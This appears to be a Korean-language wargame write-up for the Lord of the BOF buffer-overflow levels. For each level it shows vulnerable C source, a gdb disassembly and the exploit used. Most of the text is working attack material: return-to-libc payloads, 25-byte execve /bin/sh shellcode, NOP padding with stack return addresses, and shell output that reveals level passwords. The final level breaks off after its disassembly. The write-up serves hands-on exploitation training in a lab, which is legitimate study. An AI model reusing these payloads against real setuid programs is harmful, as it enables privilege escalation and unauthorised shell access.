gate
1. source code
2. gdb
3. exploit code
gate
1. source code
1
2
3
4
5
6
7
8
9
10
int main(int argc, char *argv[])
{
char buffer[256];
if(argc < 2){
printf("argv error\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
2. gdb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
0x8048430 <main>: push %ebp
0x8048431 <main+1>: mov %ebp,%esp
0x8048433 <main+3>: sub %esp,0x100
0x8048439 <main+9>: cmp DWORD PTR [%ebp+8],1
0x804843d <main+13>: jg 0x8048456 <main+38>
0x804843f <main+15>: push 0x80484e0
0x8048444 <main+20>: call 0x8048350 <printf>
0x8048449 <main+25>: add %esp,4
0x804844c <main+28>: push 0
0x804844e <main+30>: call 0x8048360 <exit>
0x8048453 <main+35>: add %esp,4
0x8048456 <main+38>: mov %eax,DWORD PTR [%ebp+12]
0x8048459 <main+41>: add %eax,4
0x804845c <main+44>: mov %edx,DWORD PTR [%eax]
0x804845e <main+46>: push %edx
0x804845f <main+47>: lea %eax,[%ebp-256]
0x8048465 <main+53>: push %eax
0x8048466 <main+54>: call 0x8048370 <strcpy>
0x804846b <main+59>: add %esp,8
0x804846e <main+62>: lea %eax,[%ebp-256]
0x8048474 <main+68>: push %eax
0x8048475 <main+69>: push 0x80484ec
0x804847a <main+74>: call 0x8048350 <printf>
0x804847f <main+79>: add %esp,8
0x8048482 <main+82>: leave
0x8048483 <main+83>: ret
3. exploit code
1
2
3
4
./gremlin `python -c 'print "A"*260+"\xe0\x8a\x05\x40"+"AAAA"+"\xf9\xbf\x0f\x40"'`
bash$ my-pass
euid = 501
hello bof world
이번 취약점은 strcpy에 buf 길이 검증을 하지 않아 발생하는 BoF. esp는 ebp-256에 위치하고 있기 때문에 SFP(4)까지 A 를 입력하고 RET 위치에 RLT를 이용하여 system함수를 넣게 된다. 이후 4byte dummy를 생성하고, 인자값인 /bin/sh를 넣게 된다.
gremlin
1. source code
1
2
3
4
5
6
7
8
9
10
int main(int argc, char *argv[])
{
char buffer[16];
if(argc < 2){
printf("argv error\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
2. gdb
0x8048430 <main>: push %ebp
0x8048431 <main+1>: mov %ebp,%esp
0x8048433 <main+3>: sub %esp,16
0x8048436 <main+6>: cmp DWORD PTR [%ebp+8],1
0x804843a <main+10>: jg 0x8048453 <main+35>
0x804843c <main+12>: push 0x80484d0
; "argv error\n"
0x8048441 <main+17>: call 0x8048350 <printf>
0x8048446 <main+22>: add %esp,4
0x8048449 <main+25>: push 0
0x804844b <main+27>: call 0x8048360 <exit>
0x8048450 <main+32>: add %esp,4
0x8048453 <main+35>: mov %eax,DWORD PTR [%ebp+12]
0x8048456 <main+38>: add %eax,4
0x8048459 <main+41>: mov %edx,DWORD PTR [%eax]
0x804845b <main+43>: push %edx
0x804845c <main+44>: lea %eax,[%ebp-16]
0x804845f <main+47>: push %eax
0x8048460 <main+48>: call 0x8048370 <strcpy>
0x8048465 <main+53>: add %esp,8
0x8048468 <main+56>: lea %eax,[%ebp-16]
0x804846b <main+59>: push %eax
; buffer
0x804846c <main+60>: push 0x80484dc
; "%s\n"
0x8048471 <main+65>: call 0x8048350 <printf>
0x8048476 <main+70>: add %esp,8
0x8048479 <main+73>: leave
0x804847a <main+74>: ret
3. exploit code
1
2
3
4
5
6
7
8
9
10
Starting program: /home/gremlin/test `python -c 'print "A"*22'`
AAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x804847a in main ()
(gdb) ni
0x40004141 in print_missing_version (errcode=Cannot access memory at address 0x41414149
) at rtld.c:1176
1176 rtld.c: No such file or directory.
(gdb) x/x $eip
0x40004141 <print_missing_version+53>: 0xcd9f838d
22개의 A 입력 시 eip에 2개가 들어가게 된다. 즉 24 byte까지 넣어야 하는데, 현재 왜 20 위치 부터 eip가 시작되는지 모르겠다. -> 아 실수 ….. ebp-16 위치부터 buffer 값을 입력받는다. 0 - 16 까지 buffer 16 - 20 까지 SFP 20 - 24 까지 RET 이렇게 되는 구나
./cobolt `python -c 'print "A"*20+"\xe0\x8a\x05\xAAA"+"\xf9\xbf\x0f\x40"'`
bash$ id
uid=501(gremlin) gid=501(gremlin) euid=502(cobolt) egid=502(cobolt)
groups=501(gremlin)
bash$ my-pass
euid = 502
hacking exposed
cobolt
1. source code
1
2
3
4
5
6
int main()
{
char buffer[16];
gets(buffer);
printf("%s\n", buffer);
}
2. gdb
0x80483f8 <main>: push %ebp
0x80483f9 <main+1>: mov %ebp,%esp
0x80483fb <main+3>: sub %esp,16
0x80483fe <main+6>: lea %eax,[%ebp-16]
0x8048401 <main+9>: push %eax
0x8048402 <main+10>: call 0x804830c <gets>
0x8048407 <main+15>: add %esp,4
0x804840a <main+18>: lea %eax,[%ebp-16]
0x804840d <main+21>: push %eax
0x804840e <main+22>: push 0x8048470
0x8048413 <main+27>: call 0x804833c <printf>
0x8048418 <main+32>: add %esp,8
0x804841b <main+35>: leave
0x804841c <main+36>: ret
0x804841d <main+37>: nop
0x804841e <main+38>: nop
0x804841f <main+39>: nop
3. exploit code
1
2
3
4
5
(python -c 'print "A"*20+"\xe0\x8a\x05\x40"+"AAAA"+"\xf9\xbf\x0f\x40"';cat)|./goblin
my-pass
euid = 503
hackers proof
goblin
1. source code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
소스 코드가 기존 보다 어려워졌다… 좀 분석을 하자면 egghunter이 등장하였는데 for와 memset을 이용해 environ을 0으로 초기화 한다. 이후 2차원 배열을 통해 argv [1][47] 값이 \xbf가 되야 한다. 입력 값이 48 번째 값이 \xbf가 되야 하나 보다…
결국 취약점이 터지는 부분은 strcpy(buffer, argv[1])에서 터지게 된다. 환경변수에 shell을 입력하고 참조하는 로직은 안된다는 점! shell 코드를 제작하여, /bin/sh를 실행 시키도록 해야 한다.
2. gdb
0x8048500 <main>: push %ebp
0x8048501 <main+1>: mov %ebp,%esp
0x8048503 <main+3>: sub %esp,44
0x8048506 <main+6>: cmp DWORD PTR [%ebp+8],1
0x804850a <main+10>: jg 0x8048523 <main+35>
0x804850c <main+12>: push 0x8048630
0x8048511 <main+17>: call 0x8048410 <printf>
0x8048516 <main+22>: add %esp,4
0x8048519 <main+25>: push 0
0x804851b <main+27>: call 0x8048420 <exit>
0x8048520 <main+32>: add %esp,4
0x8048523 <main+35>: nop
0x8048524 <main+36>: mov DWORD PTR [%ebp-44],0x0
0x804852b <main+43>: nop
0x804852c <main+44>: lea %esi,[%esi*1]
0x8048530 <main+48>: mov %eax,DWORD PTR [%ebp-44]
0x8048533 <main+51>: lea %edx,[%eax*4]
0x804853a <main+58>: mov %eax,%ds:0x8049750
0x804853f <main+63>: cmp DWORD PTR [%eax+%edx],0
0x8048543 <main+67>: jne 0x8048547 <main+71>
0x8048545 <main+69>: jmp 0x8048587 <main+135>
0x8048547 <main+71>: mov %eax,DWORD PTR [%ebp-44]
0x804854a <main+74>: lea %edx,[%eax*4]
0x8048551 <main+81>: mov %eax,%ds:0x8049750
0x8048556 <main+86>: mov %edx,DWORD PTR [%eax+%edx]
0x8048559 <main+89>: push %edx
0x804855a <main+90>: call 0x80483f0 <strlen>
0x804855f <main+95>: add %esp,4
0x8048562 <main+98>: mov %eax,%eax
0x8048564 <main+100>: push %eax
0x8048565 <main+101>: push 0
0x8048567 <main+103>: mov %eax,DWORD PTR [%ebp-44]
0x804856a <main+106>: lea %edx,[%eax*4]
0x8048571 <main+113>: mov %eax,%ds:0x8049750
0x8048576 <main+118>: mov %edx,DWORD PTR [%eax+%edx]
0x8048579 <main+121>: push %edx
0x804857a <main+122>: call 0x8048430 <memset>
0x804857f <main+127>: add %esp,12
0x8048582 <main+130>: inc DWORD PTR [%ebp-44]
0x8048585 <main+133>: jmp 0x8048530 <main+48>
0x8048587 <main+135>: mov %eax,DWORD PTR [%ebp+12]
0x804858a <main+138>: add %eax,4
0x804858d <main+141>: mov %edx,DWORD PTR [%eax]
0x804858f <main+143>: add %edx,47
0x8048592 <main+146>: cmp BYTE PTR [%edx],0xbf
0x8048595 <main+149>: je 0x80485b0 <main+176>
0x8048597 <main+151>: push 0x804863c
0x804859c <main+156>: call 0x8048410 <printf>
0x80485a1 <main+161>: add %esp,4
0x80485a4 <main+164>: push 0
0x80485a6 <main+166>: call 0x8048420 <exit>
0x80485ab <main+171>: add %esp,4
0x80485ae <main+174>: mov %esi,%esi
0x80485b0 <main+176>: mov %eax,DWORD PTR [%ebp+12]
0x80485b3 <main+179>: add %eax,4
0x80485b6 <main+182>: mov %edx,DWORD PTR [%eax]
0x80485b8 <main+184>: push %edx
0x80485b9 <main+185>: lea %eax,[%ebp-40]
0x80485bc <main+188>: push %eax
0x80485bd <main+189>: call 0x8048440 <strcpy>
0x80485c2 <main+194>: add %esp,8
0x80485c5 <main+197>: lea %eax,[%ebp-40]
0x80485c8 <main+200>: push %eax
0x80485c9 <main+201>: push 0x8048659
0x80485ce <main+206>: call 0x8048410 <printf>
0x80485d3 <main+211>: add %esp,8
0x80485d6 <main+214>: leave
0x80485d7 <main+215>: ret
0x80485d8 <main+216>: nop
0x80485d9 <main+217>: nop
0x80485da <main+218>: nop
0x80485db <main+219>: nop
0x80485dc <main+220>: nop
0x80485dd <main+221>: nop
0x80485de <main+222>: nop
0x80485df <main+223>: nop
3. exploit code
1
2
3
4
5
6
7
8
9
10
11
12
(gdb) r `python -c "print 'A'*40+'BBBB'+'\xbf\xbf\xbf\xbf'"`
Starting program: /tmp/orc `python -c "print 'A'*40+'BBBB'+'\xbf\xbf\xbf\xbf'"`
Breakpoint 1, 0x80485c5 in main ()
(gdb) x/20wx $esp
0xbffffc8c: 0x00000015 0x41414141 0x41414141 0x41414141
0xbffffc9c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffcac: 0x41414141 0x41414141 0x41414141 0x42424242
0xbffffcbc: 0xbfbfbfbf 0x00000000 0xbffffd04 0xbffffd10
0xbffffccc: 0x40013868 0x00000002 0x08048450 0x00000000
(gdb) x/x 0xbffffc90
0xbffffc90: 0x41414141
shell 코드를 실행 시키기 위해서는 buffer의 시작점을 알아야 한다. 위와 같이 충분히 stack을 덮어 쓰고 어디부터 A를 덮어 쓰는지 확인헤야 한다.
여기서는 0xbffffc8c + 4 = 0xbffffc90
- 25byte shell
1
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
exploit payload 는
shellcode : 25 byte NOP : 15 byte SFP : 4 byte RET : 4 byte (0xbffffc90)
위와 같이 exploit payload 를 짜보자!
1
2
3
4
5
`python -c "print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*19+"\x90\xfc\xff\xbf"`
bash$ my-pass
euid = 504
cantata
오오 됨!!
orc
1. source code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
2. gdb
0x8048500 <main>: push %ebp
0x8048501 <main+1>: mov %ebp,%esp
0x8048503 <main+3>: sub %esp,44
0x8048506 <main+6>: cmp DWORD PTR [%ebp+8],1
0x804850a <main+10>: jg 0x8048523 <main+35>
0x804850c <main+12>: push 0x8048640
0x8048511 <main+17>: call 0x8048410 <printf>
0x8048516 <main+22>: add %esp,4
0x8048519 <main+25>: push 0
0x804851b <main+27>: call 0x8048420 <exit>
0x8048520 <main+32>: add %esp,4
0x8048523 <main+35>: nop
0x8048524 <main+36>: mov DWORD PTR [%ebp-44],0x0
0x804852b <main+43>: nop
0x804852c <main+44>: lea %esi,[%esi*1]
0x8048530 <main+48>: mov %eax,DWORD PTR [%ebp-44]
0x8048533 <main+51>: lea %edx,[%eax*4]
0x804853a <main+58>: mov %eax,%ds:0x8049760
0x804853f <main+63>: cmp DWORD PTR [%eax+%edx],0
0x8048543 <main+67>: jne 0x8048547 <main+71>
0x8048545 <main+69>: jmp 0x8048587 <main+135>
0x8048547 <main+71>: mov %eax,DWORD PTR [%ebp-44]
0x804854a <main+74>: lea %edx,[%eax*4]
0x8048551 <main+81>: mov %eax,%ds:0x8049760
0x8048556 <main+86>: mov %edx,DWORD PTR [%eax+%edx]
0x8048559 <main+89>: push %edx
0x804855a <main+90>: call 0x80483f0 <strlen>
0x804855f <main+95>: add %esp,4
0x8048562 <main+98>: mov %eax,%eax
0x8048564 <main+100>: push %eax
0x8048565 <main+101>: push 0
0x8048567 <main+103>: mov %eax,DWORD PTR [%ebp-44]
0x804856a <main+106>: lea %edx,[%eax*4]
0x8048571 <main+113>: mov %eax,%ds:0x8049760
0x8048576 <main+118>: mov %edx,DWORD PTR [%eax+%edx]
0x8048579 <main+121>: push %edx
0x804857a <main+122>: call 0x8048430 <memset>
0x804857f <main+127>: add %esp,12
0x8048582 <main+130>: inc DWORD PTR [%ebp-44]
0x8048585 <main+133>: jmp 0x8048530 <main+48>
0x8048587 <main+135>: mov %eax,DWORD PTR [%ebp+12]
0x804858a <main+138>: add %eax,4
0x804858d <main+141>: mov %edx,DWORD PTR [%eax]
0x804858f <main+143>: add %edx,47
0x8048592 <main+146>: cmp BYTE PTR [%edx],0xbf
0x8048595 <main+149>: je 0x80485b0 <main+176>
0x8048597 <main+151>: push 0x804864c
0x804859c <main+156>: call 0x8048410 <printf>
0x80485a1 <main+161>: add %esp,4
0x80485a4 <main+164>: push 0
0x80485a6 <main+166>: call 0x8048420 <exit>
0x80485ab <main+171>: add %esp,4
0x80485ae <main+174>: mov %esi,%esi
0x80485b0 <main+176>: mov %eax,DWORD PTR [%ebp+12]
0x80485b3 <main+179>: add %eax,4
0x80485b6 <main+182>: mov %edx,DWORD PTR [%eax]
0x80485b8 <main+184>: push %edx
0x80485b9 <main+185>: lea %eax,[%ebp-40]
0x80485bc <main+188>: push %eax
0x80485bd <main+189>: call 0x8048440 <strcpy>
0x80485c2 <main+194>: add %esp,8
0x80485c5 <main+197>: lea %eax,[%ebp-40]
0x80485c8 <main+200>: push %eax
0x80485c9 <main+201>: push 0x8048669
0x80485ce <main+206>: call 0x8048410 <printf>
0x80485d3 <main+211>: add %esp,8
0x80485d6 <main+214>: push 40
0x80485d8 <main+216>: push 0
0x80485da <main+218>: lea %eax,[%ebp-40]
0x80485dd <main+221>: push %eax
0x80485de <main+222>: call 0x8048430 <memset>
0x80485e3 <main+227>: add %esp,12
0x80485e6 <main+230>: leave
0x80485e7 <main+231>: ret
0x80485e8 <main+232>: nop
0x80485e9 <main+233>: nop
0x80485ea <main+234>: nop
0x80485eb <main+235>: nop
0x80485ec <main+236>: nop
0x80485ed <main+237>: nop
0x80485ee <main+238>: nop
0x80485ef <main+239>: nop
3. exploit code
이 문제를 풀기 위해 생각한 방법은 buffer : 40 byte SFP : 4 byte RET : 4 byte
이런 스택 구조에서 RET 다음에 쉘 코드를 넣고, RET(eip)를 RET+4byte로 지정하면 될 것이라 생각했다….. 삽질 결과 위 방식은 되지 않고 중요한 사실을 알게 되었다….
1
2
3
4
5
6
7
8
(gdb) ni
0x80485e3 in main ()
(gdb) x/20wx $esp
0xbffffc90: 0xbffffca0 0x00000000 0x00000028 0x00000015
0xbffffca0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffcb0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffcc0: 0x00000000 0x00000000 0x42424242 0xbfbfbfbf
0xbffffcd0: 0x00000000 0xbffffd14 0xbffffd20 0x40013868
ni 10 번 정도 실행하면 입력하였던 값이 buffer hunter로 인해 0으로 변환되버린다. 흠 여기서 좀더 스택 구조를 살펴 보도록 하자….
x/20wx $esp 를 계속하다보면
1
2
3
4
5
6
7
8
9
0xbffffdd0: 0x00000010 0x0fabfbff 0x0000000f 0xbffffe05
0xbffffde0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffdf0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe00: 0x00000000 0x38366900 0x742f0036 0x772f706d
0xbffffe10: 0x00666c6f 0x41414141 0x41414141 0x41414141
0xbffffe20: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffe30: 0x41414141 0x41414141 0x41414141 0x42424242
0xbffffe40: 0xbfbfbfbf 0x00000000 0x00000000 0x00000000
0xbffffe50: 0x00000000 0x00000000 0x00000000 0x00000000
입력하였던 값이 다시 노출된다. 정확한 위치는 …. 0xbffffe10 + 4 = 0xbffffe14 이 값은 argv[1]의 주소로 프로그램이 종료가 될때까지 stack에 남아 있다. 위에서 buffer가 0으로 초기화되어도 argv[1]의 주소로 이동하게 되면 shell을 실행할 수 있게 된다는 것이다.
exploit payload는 아래와 같다
1
2
3
4
5
./wolfman `python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'+'\x90'*19+'\x14\xfe\xff\xbf'"`
1�Ph//shh/bin��PS��1Ұ
̀����������������������
Segmentation fault
위 payload 를 입력하면 그림 좋게 segment fault가 뜨게 된다….
또 삽질 시작…. 결국 wolfman을 /tmp 디렉토리에 복사하여 소스코드에 argv의 real address를 출력하는 코드를 삽입하였다.
1
2
3
// buffer hunter
memset(buffer, 0, 40);
printf("%#x\n",argv[1]);
오류 발생 시 argv의 정확한 주소를 파악 할 수 있다.
1
2
3
tmp/wolf `python -c "print 'A'*40 + 'BBBB' + '\xbf\xbf\xbf\xbf'"`
0xbffffe08
Segmentation fault (core dumped)
최종 exploit payload는 아래와 같다
1
2
3
4
./wolfman `python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'+'\x90'*19+'\x08\xfe\xff\xbf'"`
bash$ my-pass
euid = 505
love eyuna
wolfman
1. source code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
/*
The Lord of the BOF : The Fellowship of the BOF
- darkelf
- egghunter + buffer hunter + check length of argv[1]
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
음 이번에는 argv의 길이값 검증까지 추가 되었다… 이 문제를 풀기위해서는 48byte로만 exploit payload를 구성해야 되는데 이미 그렇게 구성하고 있기 때문에 …. 별 무리 없이 패스 할 수 있었다….
2. gdb
첨부하지 않음
3. exploit code
1
2
3
4
./darkelf `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*19+"\xec\xfd\xff\xbf"'`
bash$ my-pass
euid = 506
kernel crashed
darkelf
1. source code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
/*
The Lord of the BOF : The Fellowship of the BOF
- orge
- check argv[0]
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// here is changed!
if(strlen(argv[0]) != 77){
printf("argv[0] error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
2. gdb
0x8048500 <main>: push %ebp
0x8048501 <main+1>: mov %ebp,%esp
0x8048503 <main+3>: sub %esp,44
0x8048506 <main+6>: cmp DWORD PTR [%ebp+8],1
0x804850a <main+10>: jg 0x8048523 <main+35>
0x804850c <main+12>: push 0x8048690
0x8048511 <main+17>: call 0x8048410
3. exploit code
argv 0 에 길이가 77이 되야 하는 조건이 붙는다. 그렇다면 argv 0 은 도대체 무엇일까? 참조 : http://lafirr.tistory.com/12 위 사이트를 참고한 결과 실행할 바이너리를 뜻한다. 즉 ./orge test 라는 명령어를 쉘에서 입력 시 ./orge가 argv 0 이되며, test 가 argv 1 이되는 것이다. ./orge의 길이를 77만큼 만들어야 하는데…
1
2
[darkelf@localhost darkelf]$ ////////////////////bin/ls
orge orge.c
이런 방식처럼 ////를 많이 입력하여도 하나의 / 로 받아들이기 때문에 / 를 통해 문자열 길이를 조정하면 될 것 같다.
1
2
3
4
[darkelf@localhost darkelf]$ `python -c 'print "."+"/"*72+"orge"'`
argv error
[darkelf@localhost darkelf]$ `python -c 'print "."+"/"*72+"orge "'`a
stack is still your friend.
최종으로 생각한 exploit payload는 아래와 같다.
1
2
3
4
5
6
7
`python -c 'print "."+"/"*72+"orge "+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*19+"\xec\xfd\xff\xbf"'`
<\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*19+"\xec\xfd\xff\xbf"'`
1�Ph//shh/bin��PS��1Ұ
̀�����������������������
0xbffffd64
Segmentation fault (core dumped)
이런… segmentation fault가 떴다…. 페이로드를 다시 짜면, argv2의 메모리 주소를 위 풀이 처럼 다시 확인 결과 아래와 같은 페이로드를 짤 수 있었다.
1
2
3
4
5
`python -c 'print "."+"/"*72+"orge "+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*19+"\x64\xfd\xff\xbf"'`
bash$ my-pass
euid = 507
timewalker
orge
1. source code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
/*
The Lord of the BOF : The Fellowship of the BOF
- troll
- check argc + argv hunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
// here is changed
if(argc != 2){
printf("argc must be two!\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
// one more!
memset(argv[1], 0, strlen(argv[1]));
}
소스 코드를 분석해보면,
2. gdb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
0x8048500 <main>: push %ebp
0x8048501 <main+1>: mov %ebp,%esp
0x8048503 <main+3>: sub %esp,44
0x8048506 <main+6>: cmp DWORD PTR [%ebp+8],2
0x804850a <main+10>: je 0x8048523 <main+35>
0x804850c <main+12>: push 0x8048690
0x8048511 <main+17>: call 0x8048410 <printf>
0x8048516 <main+22>: add %esp,4
0x8048519 <main+25>: push 0
0x804851b <main+27>: call 0x8048420 <exit>
0x8048520 <main+32>: add %esp,4
0x8048523 <main+35>: nop
0x8048524 <main+36>: mov DWORD PTR [%ebp-44],0x0
0x804852b <main+43>: nop
0x804852c <main+44>: lea %esi,[%esi*1]
0x8048530 <main+48>: mov %eax,DWORD PTR [%ebp-44]
0x8048533 <main+51>: lea %edx,[%eax*4]
0x804853a <main+58>: mov %eax,%ds:0x80497cc
0x804853f <main+63>: cmp DWORD PTR [%eax+%edx],0
0x8048543 <main+67>: jne 0x8048547 <main+71>
0x8048545 <main+69>: jmp 0x8048587 <main+135>
0x8048547 <main+71>: mov %eax,DWORD PTR [%ebp-44]
0x804854a <main+74>: lea %edx,[%eax*4]
0x8048551 <main+81>: mov %eax,%ds:0x80497cc
0x8048556 <main+86>: mov %edx,DWORD PTR [%eax+%edx]
0x8048559 <main+89>: push %edx
0x804855a <main+90>: call 0x80483f0 <strlen>
0x804855f <main+95>: add %esp,4
0x8048562 <main+98>: mov %eax,%eax
0x8048564 <main+100>: push %eax
0x8048565 <main+101>: push 0
0x8048567 <main+103>: mov %eax,DWORD PTR [%ebp-44]
0x804856a <main+106>: lea %edx,[%eax*4]
0x8048571 <main+113>: mov %eax,%ds:0x80497cc
0x8048576 <main+118>: mov %edx,DWORD PTR [%eax+%edx]
0x8048579 <main+121>: push %edx
0x804857a <main+122>: call 0x8048430 <memset>
0x804857f <main+127>: add %esp,12
0x8048582 <main+130>: inc DWORD PTR [%ebp-44]
0x8048585 <main+133>: jmp 0x8048530 <main+48>
0x8048587 <main+135>: mov %eax,DWORD PTR [%ebp+12]
0x804858a <main+138>: add %eax,4
0x804858d <main+141>: mov %edx,DWORD PTR [%eax]
0x804858f <main+143>: add %edx,47
0x8048592 <main+146>: cmp BYTE PTR [%edx],0xbf
0x8048595 <main+149>: je 0x80485b0 <main+176>
0x8048597 <main+151>: push 0x80486a3
0x804859c <main+156>: call 0x8048410 <printf>
0x80485a1 <main+161>: add %esp,4
0x80485a4 <main+164>: push 0
0x80485a6 <main+166>: call 0x8048420 <exit>
0x80485ab <main+171>: add %esp,4
0x80485ae <main+174>: mov %esi,%esi
0x80485b0 <main+176>: mov %eax,DWORD PTR [%ebp+12]
0x80485b3 <main+179>: add %eax,4
0x80485b6 <main+182>: mov %edx,DWORD PTR [%eax]
0x80485b8 <main+184>: push %edx
0x80485b9 <main+185>: call 0x80483f0 <strlen>
0x80485be <main+190>: add %esp,4
0x80485c1 <main+193>: mov %eax,%eax
0x80485c3 <main+195>: cmp %eax,48
0x80485c6 <main+198>: jbe 0x80485e0 <main+224>
0x80485c8 <main+200>: push 0x80486c0
0x80485cd <main+205>: call 0x8048410 <printf>
0x80485d2 <main+210>: add %esp,4
0x80485d5 <main+213>: push 0
0x80485d7 <main+215>: call 0x8048420 <exit>
0x80485dc <main+220>: add %esp,4
0x80485df <main+223>: nop
0x80485e0 <main+224>: mov %eax,DWORD PTR [%ebp+12]
0x80485e3 <main+227>: add %eax,4
0x80485e6 <main+230>: mov %edx,DWORD PTR [%eax]
0x80485e8 <main+232>: push %edx
0x80485e9 <main+233>: lea %eax,[%ebp-40]
0x80485ec <main+236>: push %eax
0x80485ed <main+237>: call 0x8048440 <strcpy>
0x80485f2 <main+242>: add %esp,8
0x80485f5 <main+245>: lea %eax,[%ebp-40]
0x80485f8 <main+248>: push %eax
0x80485f9 <main+249>: push 0x80486d7
0x80485fe <main+254>: call 0x8048410 <printf>
0x8048603 <main+259>: add %esp,8
0x8048606 <main+262>: push 40
0x8048608 <main+264>: push 0
0x804860a <main+266>: lea %eax,[%ebp-40]
0x804860d <main+269>: push %eax
0x804860e <main+270>: call 0x8048430 <memset>
0x8048613 <main+275>: add %esp,12
0x8048616 <main+278>: mov %eax,DWORD PTR [%ebp+12]
0x8048619 <main+281>: add %eax,4
0x804861c <main+284>: mov %edx,DWORD PTR [%eax]
0x804861e <main+286>: push %edx
0x804861f <main+287>: call 0x80483f0 <strlen>
0x8048624 <main+292>: add %esp,4
0x8048627 <main+295>: mov %eax,%eax
0x8048629 <main+297>: push %eax
0x804862a <main+298>: push 0
0x804862c <main+300>: mov %eax,DWORD PTR [%ebp+12]
0x804862f <main+303>: add %eax,4
0x8048632 <main+306>: mov %edx,DWORD PTR [%eax]
0x8048634 <main+308>: push %edx
0x8048635 <main+309>: call 0x8048430 <memset>
0x804863a <main+314>: add %esp,12
0x804863d <main+317>: leave
0x804863e <main+318>: ret
0x804863f <main+319>: nop
